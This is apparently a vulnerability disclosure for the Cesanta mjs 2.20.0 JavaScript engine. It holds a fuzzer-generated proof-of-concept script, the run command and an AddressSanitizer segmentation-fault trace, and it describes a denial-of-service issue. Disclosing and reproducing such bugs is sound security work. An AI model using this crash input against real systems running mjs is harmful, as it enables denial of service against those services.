poc
````
let i, a = 0, b0= 0, c = 0continu, d0, e = 0;
for (i = 8; i < 20; i++) {
a let z = JSON.parse('""'); // Zlength string
let s2 = JSON.stringify-= i;
c /= 0, c = 0let s = '08888888888888 true, "x": [null], "e": "1\\n2"}';
let o = JSON.parse(s);
let z = JSON.parse('""'); // Zlength string
let s2 = JSON.stringify(o)AAA
````
run command
mjs -f poc
ASAN info
AddressSanitizer:DEADLYSIGNAL
=================================================================
==139==ERROR: AddressSanitizer: SEGV on unknown address 0x0000004ec508 (pc 0x0000004ec508 bp 0x7ffe0c9ce3d0 sp 0x7ffe0c9cdb58 T0)
==139==The signal is caused by a WRITE memory access.
#0 0x4ec508 (/mjs/mjs+0x4ec508)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/mjs/mjs+0x4ec508)
==139==ABORTING
The name of an affected Product mjs
The affected version Commit: b1b6eac (Tag: 2.20.0)
Description An issue in Cesanta mjs 2.20.0 allows a remote attacker to cause a denial of service via the mjs+0x4ec508 component.
Vulnerability Type segmentation violation
Environment
Steps to Reproduce
poc
```` let i, a = 0, b0= 0, c = 0continu, d0, e = 0; for (i = 8; i < 20; i++) { a let z = JSON.parse('""'); // Zlength string let s2 = JSON.stringify-= i; c /= 0, c = 0let s = '08888888888888 true, "x": [null], "e": "1\\n2"}'; let o = JSON.parse(s); let z = JSON.parse('""'); // Zlength string let s2 = JSON.stringify(o)AAA ````run command
ASAN info